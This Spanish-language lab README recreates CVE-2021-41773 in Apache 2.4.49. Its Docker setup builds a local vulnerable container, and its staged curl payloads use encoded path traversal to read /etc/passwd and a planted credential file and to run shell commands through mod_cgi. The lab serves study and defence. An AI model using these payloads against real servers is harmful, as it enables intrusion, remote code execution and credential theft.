
Recreación y análisis de un curioso error lógico en Apache 2.4.49 que escaló a ejecución remota de código.
CVE-2021-41773 es una vulnerabilidad de path traversal descubierta en Apache HTTP Server 2.4.49 en octubre de 2021. La causa raíz fue una falla en la normalización adecuada de las secuencias de puntos terminadas en la URL antes de verificar si la ruta solicitada permanecía dentro de la raíz web. Esta vulnerabilidad permitía a un atacante salir de la raíz web para acceder a archivos en cualquier parte del sistema de archivos del servidor, con algunos casos de escalamiento hasta ejecución remota de código.
2 vectores de ataque demostrados en esta exploración
Docker
curl
Linux o macOS
Dockerfile - construir contenedor vulnerable de Apache 2.4.49
exploit.sh - script automatizado de cadena de explotación
README.md
Resumen del Dockerfile:
Nota: asegúrate de que docker esté instalado y ejecutándose
Opción 1: script automático
chmod +x exploit.sh
./exploit.sh
Opción 2: ejecución manual
Construir imagen y ejecutar contenedor:
sudo docker build -t cve-2021-41773-env .
sudo docker run -d -p 8080:80 --name vulnerable-apache cve-2021-41773-envComandos curl individuales para experimentación manual:
Stage 1 — Leer secreto colocado (travesía pura, sin CGI)
curl -s --path-as-is \ "http://localhost:8080/static/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/secret_credential.txt"
Stage 2 — Leer /etc/passwd (travesía pura, sin CGI)
curl -s --path-as-is \ "http://localhost:8080/static/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
Stage 3 — RCE: ejecutar comandos (requiere mod_cgi)
curl -s --path-as-is \ -d "echo Content-Type: text/plain; echo; id; whoami; uname -a" \ "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"
Stage 4 — Cadena completa: leer secreto mediante RCE
curl -s --path-as-is \ -d "echo Content-Type: text/plain; echo; cat /etc/secret_credential.txt" \ "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"